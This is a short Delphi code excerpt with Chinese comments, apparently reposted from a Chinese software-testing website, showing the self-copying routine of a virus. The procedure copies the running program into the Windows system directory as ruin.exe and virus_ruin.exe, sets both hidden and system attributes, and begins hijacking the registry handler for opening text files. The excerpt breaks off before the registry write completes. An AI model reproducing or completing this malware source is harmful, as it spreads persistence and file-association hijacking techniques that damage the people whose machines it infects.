procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false);
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk);
value:=‘virus_ruin.exe %1‘;
延伸阅读
文章来源于领测软件测试网 https://www.ltesting.net/